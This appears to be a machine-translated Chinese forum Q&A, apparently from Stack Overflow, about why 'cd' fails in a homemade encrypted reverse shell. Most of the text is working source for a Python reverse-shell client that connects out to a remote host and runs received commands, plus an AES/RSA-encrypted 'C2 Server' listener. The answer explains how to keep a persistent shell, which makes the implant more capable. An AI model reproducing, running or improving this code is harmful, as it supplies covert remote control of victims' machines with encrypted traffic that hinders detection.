Python3 中的 Crypto Reverse Shell - cd 命令不更改目录

Crypto Reverse Shell in Python3 - cd command does not change directory

加密服务器在 Kali Linux 虚拟机上启动,而客户端 shell 在 Windows 10 虚拟机上启动。

反向 shell 有效。建立连接并保持连接。我可以 运行 来自 shell 的所有类型的命令,例如 - ifconfig、dir、ls、systeminfo、netstat 等。但是,唯一的问题是我无法使用 - “cd & cd ..”命令。

如果我从 Linux 的 shell 中键入 cd,我不会收到任何错误,连接也不会关闭。它似乎在 Windows 机器上执行命令,但它没有 return 任何响应。

我知道这个问题过去曾被问过,我已经浏览了线程:

1.

2.

3.Subprocess changing directory

4.Equivalent of shell 'cd' command to change the working directory?

我觉得没有帮助

我想我了解问题的本质,但我不知道如何解决它。如果有人知道可能导致此行为的原因,我将不胜感激。

这是加密客户端shell

import socket, os, subprocess

from crypto import RSA, AES

HOST = 'IP'               # The remote host
PORT = 4444               # The remote port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

pub_key = b"""
-----BEGIN PUBLIC KEY-----
PUBLIC KEY
-----END PUBLIC KEY-----
"""


asymetric_public = RSA()
asymetric_public.load_public_pem(pub_key)

aes_key = os.urandom(32)

encrypted_aes_key = asymetric_public.encrypt(aes_key)

s.send(encrypted_aes_key)

aes = AES(aes_key)

while 1:

    encrypted_command = s.recv(1024)

    decrypt_command = aes.decrypt(encrypted_command)
    command = decrypt_command.decode('utf-8')

    if not command: break # breaks loop if the connection is closed

    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    response = proc.stdout.read() + proc.stderr.read()

    if not response: response = b' '

    encrypted_response = aes.encrypt(response)
    s.send(encrypted_response)

s.close()

这是加密服务器shell

import socket

from crypto import RSA, AES

PORT = 4444

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", PORT))
s.listen(1)

asymetric_keys = RSA()
asymetric_keys.load_file('keys.pem')


print()
print("C2 Server listening on port %d" % PORT)

while True:

    print("Awaiting connection...")

    sock, addr = s.accept()

    encrypted_aes_key = sock.recv(256)

    aes_key = asymetric_keys.decrypt(encrypted_aes_key)

    aes = AES(aes_key)

    print()
    print("Session opened!")

    while True:
                
        command = input("CMD>")
        if not command: continue

        encrypted_command = aes.encrypt(command.encode('utf-8'))

        sock.send(encrypted_command) # send command to the reverse shell
                
        encrypted_response = sock.recv(65535) # get response from the shell
        response = aes.decrypt(encrypted_response)

        if not response: break # break loop if connection closed
        print(response.decode('utf-8'))
        
    print("Session closed!")
    print()

导入的 类(RSA 和 AES)来自第三个 python 文件,该文件用于生成、加载、解密、加密、验证和签署加密密钥。我不认为问题是由这个文件引起的,但是,如果需要,我也可以 post 代码。

P.S。 我正在为一个大学项目做一个实验。因此,一切都只是为了实验目的。

while 1:

    encrypted_command = s.recv(1024)
    ...
    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    ...
    s.send(encrypted_response)

subprocess.Popen 将启动一个新进程,执行其中的命令,return 输出,然后该命令的进程将退出。这意味着目录将仅在这个新创建的进程内更改。它对以下命令没有影响,因为这些命令从反向 shell 的工作目录开始 - 这没有改变。这实际上也在 Subprocess changing directory 的已接受答案中进行了解释 - 您提到的一个问题没有帮助。

要解决这个问题,要么需要在反向 shell 本身中解释命令,而不是在新进程中执行它。或者需要收集多个命令并在单个执行进程中一起执行这些命令。或者需要使用 shell 产生一个单独的进程并将所有命令输入其中并取回所有输出 - 但永远不要关闭 shell.